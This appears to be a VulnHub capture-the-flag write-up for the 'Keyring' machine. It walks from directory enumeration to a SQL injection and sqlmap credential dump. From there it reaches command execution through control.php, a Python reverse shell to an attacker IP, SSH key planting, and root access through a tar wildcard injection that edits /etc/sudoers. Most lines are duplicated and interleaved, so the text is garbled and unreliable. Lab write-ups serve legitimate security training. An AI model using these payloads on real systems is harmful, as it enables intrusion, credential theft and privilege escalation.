
VulnHub -Keyring | Alienum

Port Scan

Gobuster

┌──┌──((kali㉿kalikali㉿kali))--[[~/Desktop~/Desktop]]  

└─$ gobuster └─$ gobuster dirdir -u http://10.0.2.254  -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3- -u http://10.0.2.254  -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-

medium.txt  -x .php,.bak,.txt,.php.bakmedium.txt  -x .php,.bak,.txt,.php.bak  

==============================================================================================================================  

Gobuster v3.1.0Gobuster v3.1.0  

by OJ Reeves by OJ Reeves ((@TheColonial@TheColonial))  && Christian Mehlmauer  Christian Mehlmauer ((@firefart@firefart))  

==============================================================================================================================  

[[++]] Url:                     http://10.0.2.254 Url:                     http://10.0.2.254  

[[++]] Method:                  GET Method:                  GET  

[[++]] Threads:                  Threads:                 1010  

[[++]] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt Wordlist:                /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt  

[[++]] Negative Status codes:    Negative Status codes:   404404  

[[++]] User Agent:              gobuster/3.1.0 User Agent:              gobuster/3.1.0  

[[++]] Extensions:              php,bak,txt,php.bak Extensions:              php,bak,txt,php.bak  

[[++]] Timeout:                 10s Timeout:                 10s  

==============================================================================================================================  

20212021/07/31 02:10:01 Starting gobuster /07/31 02:10:01 Starting gobuster inin directory enumeration mode directory enumeration mode  

==============================================================================================================================  

/about.php            /about.php            ((Status: Status: 302302))  [[Size: Size: 561561]]  [[---->> index.php index.php]]  

/home.php             /home.php             ((Status: Status: 302302))  [[Size: Size: 561561]]  [[---->> index.php index.php]]  

/login.php            /login.php            ((Status: Status: 200200))  [[Size: Size: 14661466]]                              

/index.php            /index.php            ((Status: Status: 200200))  [[Size: Size: 32543254]]                              

/history.php          /history.php          ((Status: Status: 200200))  [[Size: Size: 3131]]                                    

/logout.php           /logout.php           ((Status: Status: 302302))  [[Size: Size: 00]]  [[---->> index.php index.php]]      

/control.php          /control.php          ((Status: Status: 302302))  [[Size: Size: 561561]]  [[---->> index.php index.php]]  



Create User

Login



SQL Injection | History.php

http://10.0.2.254/history.php?userhttp://10.0.2.254/history.php?user==alienum%27%20or%20%271%27alienum%27%20or%20%271%27==%271%27--%20-%271%27--%20-  

SQLmap using cookie

sqlmap -u http://10.0.2.254/history.php?usersqlmap -u http://10.0.2.254/history.php?user==alienum --cookiealienum --cookie=="PHPSESSID=<COOKIE_VALUE>""PHPSESSID=<COOKIE_VALUE>" --tables -D  --tables -D usersusers - -

T details -dumpT details -dump  



+---------+-----------------------++---------+-----------------------+  

|| name     name    || password               password              ||  

+---------+-----------------------++---------+-----------------------+  

|| admin    admin   || myadmin myadmin#p4szw0r4d     |#p4szw0r4d     |  

|| alienum  alienum || alienum                alienum               ||  

|| john     john    || Sup3r Sup3r$S3cr3t$S3cr3t$PasSW0RD$PasSW0RD  ||  

+---------+-----------------------++---------+-----------------------+  



Login as Admin | RCE | control.php

credentials → admin:myadmin#p4szw0r4d

go to cyberbot75  keyring | github

see the source code of the control.php

systemsystem(($_GET$_GET[['cmdcntr''cmdcntr']]));;  

Reverse Shell

parameter

10.010.0.2.254/control.php?cmdcntr.2.254/control.php?cmdcntr==  

payload

/usr/bin/python3 -c /usr/bin/python3 -c 'import'import  

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connectsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((((""10.010.0.2.2.252.252"",,44444444))));os.dup2(;os.dup2(

 os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'  

https://github.com/cyberbot75/keyring


proof

User takeover

sshssh -i id_rsa john@10.0.2.254 -i id_rsa john@10.0.2.254  

cdcd /home/john /home/john  

mkdirmkdir .ssh .ssh  

cdcd .ssh .ssh  

echoecho  "ssh-rsa"ssh-rsa  

AAAAB3NzaC1yc2EAAAADAQABAAABAQC/qDOmVsWi/01pCDIBy+mbuw7+lAb/NEhpamlzlUfkePaOCAWrnYnaJ3+sqKFmjuDPKsof9oCeNdjLZ6mAAAAB3NzaC1yc2EAAAADAQABAAABAQC/qDOmVsWi/01pCDIBy+mbuw7+lAb/NEhpamlzlUfkePaOCAWrnYnaJ3+sqKFmjuDPKsof9oCeNdjLZ6m

  >> authorized_keys authorized_keys  



Root | Wildcard Injection

echo 'echo "john ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> test.sh 

echo "" > "--checkpoint-action=exec=sh test.sh" 

echo "" > --checkpoint=1 


